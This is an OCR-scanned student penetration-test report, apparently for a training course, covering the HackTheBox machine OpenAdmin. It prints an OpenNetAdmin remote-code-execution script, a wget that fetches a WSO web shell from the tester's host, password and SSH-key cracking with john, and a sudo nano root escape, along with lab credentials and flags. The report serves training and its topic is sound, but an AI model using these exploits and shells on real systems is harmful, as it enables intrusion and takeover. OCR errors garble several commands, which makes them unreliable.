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1.0 ITSafe Penetration Project Reports

1.1 Introduction

The ITSAFE Lab penetration test report contains all efforts that were conducted in order to pass the ITSAFE
Project Lab. This report will be graded from a standpoint of correctness and fullness to all aspects of the
Lab. The purpose of this report is to ensure that the student has a full understanding of penetration testing
methodologies as well as the technical knowledge to pass the qualifications for the ITSAFE Certified
Professional.

1.2 Objective

The objective of this assessment is to perform an internal penetration test against the ITSAFE Lab network.
The student is tasked with following a methodical approach in obtaining access to the objective goals. This
test should simulate an actual penetration test and how you would start from beginning to end, including
the overall report. An example page has already been created for you at the latter portions of this document
that should give you ample information on what is expected to pass this course. Use the sample report as a
guideline to get you through the reporting.

1.3 Requirements

The student will be required to fill out this penetration testing report fully and to include the following

sections:

e Overall High-Level Summary and Recommendations (non-technical)
e Methodology walkthrough and detailed outline of steps taken
e Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable.

e Any additional items that were not included
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2.0 High-Level Summary

I was tasked with performing an internal penetration test towards ITSAFE Project. An internal penetration
test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks,
similar to those of a hacker and attempt to infiltrate HackTheBox internal Lab systems —My overall
objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back
to ITSAFE.

When performing the internal penetration test, there were several alarming vulnerabilities that were
identified on Offensive Security’s network. When performing the attacks, I was able to gain access to
multiple machines, primarily due to outdated patches and poor security configurations. During the testing,
I had administrative level access to multiple systems. All systems were successfully exploited and access
granted. These systems as well as a brief description on how access was obtained are listed below:

e 10.10.10.171 (OpenAdmin)
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2.1 Recommendations

I recommend patching the vulnerabilities identified during the testing to ensure that an attacker cannot
exploit these systems in the future. One thing to remember is that these systems require frequent patching
and once patched, should remain on a regular patch program to protect additional vulnerabilities that are
discovered at a later date.

3.0 Methodologies

I utilized a widely adopted approach to performing penetration testing that is effective in testing how well
the HackTheBox environments is secured. Below is a breakout of how | was able to identify and exploit
the variety of systems and includes all individual vulnerabilities found.

3.1 Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the penetration
test. During this penetration test, | was tasked with exploiting the Lab network. The specific IP addresses
were:

Lab Network

e 10.10.10.171/23
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3.2 Penetration

The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems.
During this penetration test, | was able to successfully gain access to 1 out of the 1 systems.

System IP: 10.10.10.171 (OpenAdmin)

Service Enumeration

The service enumeration portion of a penetration test focuses on gathering information about what services
are alive on a system or systems. This is valuable for an attacker as it provides detailed information on
potential attack vectors into a system. Understanding what applications are running on the system gives an
attacker needed information before performing the actual penetration test. In some cases, some ports may
not be listed.

Server IP Address Ports Open

10.10.10.171 TCP: 22/SSH, 80/HTTP

UDP: —

Nmap Scan Results:

[@1] ] ap -sV -sS -p- 10.10.10.171 -P
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-01 12:26 IST

Nmap scan report for 10.10.10.171

Host is up (@.23s latency).

Not shown: 65533 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu@.3 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1155.85 seconds
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Additional info about where the initial shell was acquired from:

When | browsed the machine for the web server we just have the default Apache2 Ubuntu page, so | ran
a Dirbuster (website page scanner), on it which allowed me to find few pages:

- Dirbuster

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing (on exegol-jeeves)

File Options About Help

Target URL (eg http:ffexample. com: 804
http: /10,10, 10,171

Work Method () Use GET requests only () Auto Switch {HEAD and GET)
Mumber Of Threads =z 1 10 Threads [ | Go Faster
Select scanning type: (2) List based brute force () Pure Brute Force

File with list of dirsfiles

Cll Browse || @ List Info

Char set |a-zA-ZD-9%2D-_ *| Min length Max Length

foptimy-resources/dirbuster/directory-list-2, 3-medium. txt |

Select starting options: (=) Standard start point () URL Fuz
Brute Force Dirs Be Recursive Dir to start with |f
Brute Force Files [¥]|Use Blank Extension File extension |php

URL to fuz - ftest.html?url={dir}.a=p
ls

| ElExt | | D> start

Flease complete the test details
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- | Where to begin

e and others like : ./artwork, ./music, ./sierra etc which are less interesting

When searching for vulnerabilities on ‘./ona’ | found a script which exploited a vulnerability in the
OpenNetAdmin xajax module

It allows us to execute malicious code on the target, and connects to the ‘www-data’ user.
The OpenNetAdmin portal still has the default credentials ( admin:admin)

It is recommended to change it

Vulnerability Explanation:

exploits an ajax implementation in the openNetAdmin tool to execute code remotely.
Vulnerability Fix:

update your version of openNetAdmin or filter the parameter received in the HTTP requests
Severity: medium

Proof of Concept Code Here:

Search for exploit:

searchsploit opennetadmin

locate 47691.sh return the script location

cp /opt/tools/exploitdb/exploits/php/webapps/74691.sh ./exp.sh copy & rename it to current directory

sh exp.sh http://10.10.10.171/ona/
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[@ ] ] openNetadmin

Exploit Title | Path

13.03.01 - Remote Code Execution | php/webapps/26682.txt
18.1.1 - Command Injection Exploit (Metasploit) | php/webapps/47772.rb
18.1.1 - Remote Code Execution | php/webapps/47691.sh

Shellcodes: No Results
ell php/webapps/47691.sh

(@]l ]
/opt/tools/exploitdb/exploits/php/webapps/47691.sh
I ]

/opt/tools/exploitdb/exploits/php/webapps/47691.sh

Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
Date: 2019-11-19

Exploit Author: mattpascoe

Vendor Homepage: http://opennetadmin.com/

Software Link: https://github.com/opennetadmin/ona
Version: v18.1.1

Tested on: Linux

It 3 o3 o o o W

Exploit Title: OpenNetAdmin v18.1.1 RCE

Date: 2019-11-19

Exploit Author: mattpascoe

Vendor Homepage: http://opennetadmin.com/

Software Link: https://github.com/opennetadmin/ona
Version: vi8.1.1

Tested on: Linux

PSS

o3 o o

#!/bin/bash

URL="${1}"

while true;do

echo -n "$ "; read cmd

curl --silent -d "xajax=window_submit&xajaxr=15741177267106xajaxargs[]=tooltips&xajaxargs[]1=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[l=ping" "$
{URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

donefj

[@]l

We can see from the script that we just have to pass the OpenNetAdmin portal’s URL as argument ( ‘URL="${1}")

Lets copy it in our working directory and run it :

(@10 ] openNetadmin

Exploit Title | Path

13.03.01 - Remote Code Execution | php/webapps/26682.txt
18.1.1 - Command Injection Exploit (Metasploit) | php/webapps/47772.rb
18.1.1 - Remote Code Execution | php/webapps/47691.sh

Shellcodes: No Results
[@] php/webapps/47691.sh
zsh: command not found: loacate

[®]1L 1] php/webapps/47691.sh
/opt/tools/exploitdb/exploits/php/webapps/47691.sh

[@ ][ 1 opt/tools/exploitdb/exploits/php/webapps/47691.sh exp.sh
[®1[ 1 exp.sh http://10.10.10.171/ona/

$ id

uid=33(www-data) gid=33(www-data) groups=33(wmw-data)

il

For the ease of search, [ uploaded a WSO shell using wget and python-web-server:

(@] exp.sh [®][
http://10.10.10.171/0na/ total 88K
-rw-r—r— 1 root root 14 Jan 17 21:00 password.txt

$ id -rw-r--r— 1 root root 83K Jan 17 21:00 wso.php
uid=33(ww-data) gid=33(ww-data) groups=33(ww-data) le Il password. txt
o exegol4thewin

¢ (]l ] -m http.server 80
/opt/ona/ www Serving HTTP on 0.0.0.0 port 80 (htt .0.0.0:80/) ...
$ wget http://10.10.16.6/wso.php 10.10.10.171 - - [31/Jan/2024 00:16:40] "GET /wso.php HTTP/1.1" 200 -
$0 "
Keyboard interrupt received, exiting.
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We can then browse back:

®  10.10.10.171/onafwso.ph X +

¢ c O & 101010171
Hello

Welcome to wso webshell redesignated by micHy AmRaNe

Enter the password and gets:

C 2 101010171,
al Clml\l. Ut
Server IP:

oo drwgxrwxr-x | hor client IP:

[ then took a look at the files present in the directory , searching for sensitive infos, I found the located in :
/opt/ona/www/local/config/databases_settings.inc.php:
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[Sec.Info] [Files] [Console] [Infect] [Sgl] [Php] [ Safe mode ] [ String tools ] [ Bruteforce ] [ Network ] [ Logout] [ Self remove ]

File tools

Name: database_settings.inc.php Size: 426 B Permission: -rw-r--r-- Owner/Group: www-data/www-data
Create time: 2019-11-22 17:18:18 Access time: 2024-01-30 22:07:54 Modify time: 2019-11-21 16:51:22

[ View ] Highlight Download Hexdump Edit Chmod Rename Touch Frame
<?php

$ona_contexts=array (
'DEFAULT" ==
array (
databases’ ==
array (
0==>
array (
db_type' == 'mysqli’,
db_ho localhost'
db -
db
db_d
db_deb
),
description' => 'Default data context',
context color' == '#D3DBFF',

Change dir: LEEL R

fopt/ona/wwwilocal/config/

submit submit

As we can see there is a login password credential but since we didn’t detect any ‘mysql’ service on our nmap
scan let’s try it on ssh, but it does not work with the specified username ,

[ then search for possible usernames, using the console tab I search for user registered in /home:

[Sec.info] [Files] |, [ Infect] [Sql] [Php] [ Safe mode] [ String tools ] [ Bruteforce
Console

List dir

submit

8 send using AJAX O redirect stderr to stdout (2>&1)

$1s -1 /home

5 jimmy jimmy 4006 Nov 22 2019 jimmy
drwxrx— 5 joanna joanna 4096 Jul 27 2021 joanna
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Lets try with “jimmy”:
Ssh jimmy@10.10.10.171

(@]l ] jimmy@10.10.10.171
jimmy@10.10.10.171's passy
Welcome to Ubuntu 18

* Documentation: relp.ubuntu.com
* Management: andscape.canonical.com
* Support:

31 UTC 2024

Proces 170
Users logged in: /]
IP address for ens160: 10.10.10.171

* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
untu.com/livepatch

39 packages can be updated.

11 updates are security updates.

Last login: Thu Jan 2 20:50:03 2020 from 10.10.14.3
jimmy@openadmin:~$ l

we now have access to jimmy but it is a low rights user , it does not have access to sudo or anything,
lets try to find if any user other is in sudoers:

cat /etc/sudoers.d/joanna

jimmy@openadmin:~$ cat /etc/sudoers.d/joanna
joanna ALL=(ALL) NOPASSWD:/bin/nano /opt/priv

jimmy@openadmin:~$ |

As we can see Joanna can use sudo on a specific command without using her password
It is a target of choice .
During the first scan I found some website ( .music, ./artwork etc)

While searching for informations about these websites I went through the apache?2 site-enabled configuration
files :

cd /etc/apache2/sites-enabled/
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and we have two conf files: openadmin.conf and internal.conf:

when looking at the internal .conf I found out that there I another local (127.0.0.1) website which I can’t access
from the network working on the port 52846 , with the src code located in : /var/www/internal:

cat /etc/apaache2/sites-enabled/internal.conf:

jimmy@openadmin:~$ cat /etc/apache2/sites-enabled/internal.conf
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal

<IfModule mpm_itk module>
AssignUserID joanna joanna
</ IfModule>

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

The problem was that I couldn’t access it from my machine, it forced me to setup a port forward ( even if I could
find it via the src code but the purpose of this machine was to work port fowarding):

ssh -L 52846:localhost:52846 jimmy@10.10.10.171
which redirect my 52846 port on his 52846 port :

(@] sh -L 52846:1localhost:52846 jimmy@10.1
0.10.171
jimmy@10.10.10.171"'s password:

Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

Now when I browse:

http://localhost:52846 on my machine I access the target’s internal website:

13 | Page


mailto:jimmy@10.10.10.171

N'NEN JoIN N7’ T2
N NITVN NIT

Enter Username and Password

Login Restricted.

Little problem we don’t have the password:
Let's look at the src-code:
Cat /var/www/internal /index.php:

if (isset($_POST['login']) & !empty($_POST['username']) & !empty($_POST[ 'password'])) {
if ($_POST['username'] = 'jimmy' &6 hash('sha512',$_POST[ 'password']) = '00e302ccdcflc60b8ad50e
a50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9bas8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1") {
$_SESSION['username'] = 'jimmy';

header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';

And I by looking at the source code I got this line, which check If the username is ‘jimmy’ and the SHA512 of the
password equal the long hashed string we have , if these conditions are respected it redirect us directly to
main.php(after saving our session to avoid bypass the login via the website) but it allows me to search in the
main.php code to find what I want,

Now let say we want to find the real password used in this login prompte:

Copy the string in a file and pass it into john :

]

39705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e8

> hash_login
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1 john hash_login --format=raw-SHA5
12
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 128/128 SSE2 2x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/opt/tools/john/run/password.lst
Enabling duplicate candidate password suppressor
Revealed (?)
1g 0:00:00:03 DONE 2/3 (2024-02-01 11:34) 0g/s 1101Kp/s 1101Kc/s 1101KC/s Brutis01l..Keith2006
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

And we have the password: Revealed
Let's try it: and we logged in.

= & O O localhost:5284

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kGOUYIcGyaxupjQgqaS2elHgbhwRLINCtW2HT JeaKUjWZH4us iD9AtTRIKVUOPZNG
ad/StMWI+MkQ5MnAMIglQeUbRxcBP&++Hh251jMcg8ygYcx 1UMDO3Z ] aRuwc FOYD
ShNbbx8Euvr2agjbF+ytimDyWholXU+UpTD58L+SIsZzal 9UBT+TxhgqIK2KQHBE
6xaubNKhDJIKs/6YIVEHtYyFbYSbtYt4lsoAyMBw+pTPVa3LRWNGykVRS5g79b71s]
ZnEPKOT7FIk8ICdbOWPNLNYILsyNxXRTVITtX4MRCjOXYZNG2GvBKEIeIXzNiD5/Du
y8byJ/313/EsqHphIHgD3UfvHYInaXc,/nLUup7sO+WAZ4AUX/MInIV2nNBo69 Iy T
9z7V9E4q/aKCh/xpImYL]7AmdVd4D100ByVdy8SIkRXFaA1SYNQIYEhRHzSST+k4
piC96HNIU+Z8+1XbvzRI3Wd3k 1 RMO7EesIQSKKNNUSPpT+01v/dEVEppVIDE/8h/
/UlcPvX9Aci@EUys3naB6pVwWai/IY9B6Dx6WAInnSUFsyhR63WNusko0gvkiTikH
40ZNca5xHP1ij8hvUR2v5jGM/8bvr/7QtJFRCMMKYp7FMUBBSQINLhCJTTVAFN/AZ
fnWkI5u+ToBqzuPBWGpZs0Zx5AbA4X100pgqekeLAL195mKKPecjUgpm+wsx8epb
9FtpP4aNRaLY 1 pKSDiiYzNiXEMO1iI9MSkInal0B5FFPs j r+yYEfHy1PgogDpESSD
X1IVZ+N7SBZP+7djB22vQ+/pUQap3PdXEpg3veS4bfXkyKvFkcocqs8IivdK1+UFg
5331grcM4/ZjXYP2bpuEsvedPg+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEL16TZvolSt9RH/ 19B7wTUHXXCyp9sG81IGk1lZvteilDG45A4eHhz8hxSzh
Th5wSguPynFv610HI6wcNVz2My JsmTy18WuVxZs8wxrHIkEZXYD/GtPmcviGCexa
RTKYbgVndwkJQYncyCBR1Gv308bEig¥4SYKqIitMDNix jM6xUBURBNT1+8VdQHT Z
uhJVn1fzdRKZhWW1T+d+oqIiSrvdenwWhttolrj rAQ7YWGAmM2ZMBAGA,/Mx1YIJ9FNDr
1kxuSODONGtGnWZPielvDkwotqZKzd0g7 fimGRWiRvEyXo5ps3EJFusSU1fSCv2g2
X6dfcB0bLCTs3KZwkY jGE2T JMZU+PSP1TIh6NOPgpxUCxDgATY+RzcTcM/SLhS79
yPzCZHBUWIrjaNaZmDSPC/ z+bWWIKuudY 1GCXCgkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSalLd2PDzLCImY rplnpmbD7C7/ee6KDT17IMdV25DM9216]Y0neRtME
qlNgzj@NadZNMyRAHEL1SF8a72umG02xLWebDoY f5VSSSZYtCNIdwt31F7I8+adt
z08gIMMmjR2L5c2HdLTUt5MgiY8+qkH1sL6M31c4diJoEXVh+8YpblAcogOHHBL Qe
K1I1cqiDbVE/bmiERK+G4rqadt7vONGt2VWetWrGb+Ahw/iMKhpI TWLWAPA3KIEN
-----END RSA PRIVATE KEY

Don't forget your "ninja" password

Click here to logout
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We now got an encrypted ssh rsa private key:
[ want to try to use it on the user Joanna.

So let’s decrypt the passphrase for our rsa key:
[ used ssh2john.py for it:

I saved the key in Johana.pem file

They run sshZjohn on it:

(@1 /opt/tools/john/run/ssh2jo
hn.py johana.pem > hash_rsa.txt
[@]I

Now that [ have a hash file useable for john, I just ran john on it

John has_rsa.txt

(@] ] hn hash_rsa.txt
Using default input encoding: UTF-8

Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])

Cracked 1 password hash (is in /opt/tools/john/run/john.pot), use "--show"

No password hashes left to crack (see FAQ)

(@] ] )hn --show hash_rsa.txt
johana . pem InloDENENES

1 password hash cracked, 0 left

(@]

And the ssh key passphrase is: bloodninjas

Let’s connect to Joanna via ssh :

Ssh -I johana.pem joanna@10.10.10.171
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(@]l ] -i johana.pem joannagl0.10.10
s17a

Enter passphrase for key 'johana.pem':

Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Thu Feb 1 09:54:16 UTC 2024

System load: 0.0 Processes: 171

Usage of /: 30.9% of 7.81GB Users logged in: 1

Memory usage: 9% IP address for ens160: 10.10.10.171
Swap usage: 0%

* Canonical Livepatch is available for installation.

And we are connected.

joannagopenadmin:~$ cat user.txt

97474cd12ac33f74042d3ec5¢c5d33749

Vulnerability exploited: sensitive files exposed.
Vulnerability Fix: remove read-write access to these files (/var/www/internal) :

chmod -rw /var/www/internal /*

Additional Priv Esc info
Vulnerability Exploited: sudo exploit, nano execution
Vulnerability Explanation:

Joanna can run a process as administrator (root) we will use this process to spawn (create ) a shell which
allows us to execute whatever command we want.

Vulnerability Fix:
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at least remove the NOPASSWD options in the /etc/sudoers.d/joanna if Joanna really need to access this
command ,

or the even safer options is to remove the whole file :

rm /etc/sudoers.d/joanna

Severity: high

Exploit Code:

As we saw earlier joanna can run one sudo command without password:
sudo /bin/nano /opt/priv

we can also find it by running:

sudo -l

now we need to find a way to exploit this nano root process:

https://gtfobins.github.io/gtfobins/nano/: this website provides us the solution:

sudo /bin/nano /opt/priv

ctrl+r,

ctri+x,

reset; sh 1>&0 2>&0

then hit few times enter ( just for seeing what we are typing, we already have a root shell)
we now have a root shell with full control over the machine,

I personally changed the root password to be able to access it from ssh:

passwd

(enter you new root password)

ssh root@10.10.10.171
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Proof Screenshot Here:

Command to execute: reset;sh 1>60 2>&0}4

# Get Help B Read File
# Cancel gi New Buffer
#

# whoami

root

# passwd

Enter new UNIX password:

Retype new UNIX password:

passwd: password updated successfully

#

/root/root.txt Contents:

# cat root.txt

£89352c17c3db56b0@aab2cc4c45e63c7

4.0 Additional Items

Appendix 1 - Proof and Local Contents:

IP (Hostname) Proof.txt Contents

User.txt:
joanna@openadmin:~$ cat user.txt

97474cd12ac33f74042d3ec5¢c5d33749

10.10.10.171. (OpenAdmin) =
Root.txt:

# cat root.txt

£89352c17c3db56b0®aab2cc4c45e63c7
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